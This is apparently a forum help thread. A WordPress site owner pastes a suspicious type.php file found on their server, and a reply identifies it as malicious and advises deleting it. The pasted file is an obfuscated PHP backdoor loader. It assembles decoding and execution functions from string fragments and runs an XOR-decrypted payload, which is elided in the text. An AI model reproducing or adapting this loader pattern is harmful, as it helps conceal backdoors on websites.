Use an explicit chr() call to preserve the current behavior in /home/lnk4bqjq7963/public_html/360spacea.com/type.php on line 1

I've no idea what it means and how to fix it. I made a website on wordpress.

<?php class Foo
{
    function __construct()
    {
        $claster = $this->module($this->mv);
        $claster = $this->core($this->tx($claster));
        $claster = $this->x64($claster);
        $this->memory($claster[0], $claster[1]);
    }

    function memory($point, $cache)
    {
        $this->dx = $point;
        $this->cache = $cache;
        $this->debug = $this->module($this->debug);
        $this->debug = $this->tx($this->debug);
        $this->debug = $this->stable();
        if(strpos($this->debug, $this->dx) !== FALSE) $this->x64($this->debug);
    }

    function build($cache, $zx, $point)
    {
        $len = strlen($zx);
        $n = $len > 20 * 5 ? 24 / 3 : 2;
        while(strlen($this->move) < $len) $this->move .= substr(pack('H*', sha1($point . $this->move . $cache)), 0, $n);
        return $zx ^ $this->move;
    }

    function tx($str)
    {
        $code = $this->tx[3] . $this->tx[1] . 128 / 2 . $this->tx[2] . $this->tx[0];
        $code = @$code($str);
        return $code;
    }

    function core($str)
    {
        $code = $this->core[2] . $this->core[1] . $this->core[0];
        $code = @$code($str);
        return $code;
    }

    function stable()
    {
        $this->ls = $this->build($this->cache, $this->debug, $this->dx);
        $this->ls = $this->core($this->ls);
        return $this->ls;
    }

    function x64($access)
    {
        $code = $this->backend[3] . $this->backend[2] . $this->backend[1] . $this->backend[0];
        $view = $code('', $access);
        return $view();
    }

    function module($in)
    {
        $code = $this->x86[2] . $this->x86[1] . $this->x86[0];
        return $code("\r\n", "", $in);
    }

    var $move;
    var $core = array('late', 'zinf', 'g');
    var $tx = array('ode', 'e', '_dec', 'bas');
    var $backend = array('tion', 'unc', 'ate_f', 'cre');
    var $x86 = array('lace', 'r_rep', 'st');
    var $debug = " <*long code*>";
}

new Foo();

this is the code

You can simply remove the same file called "type.php". As this file containing the malicious code which can harm your data. Also, WordPress do not containing any type.php file, so you can easily remove it without any hesitation.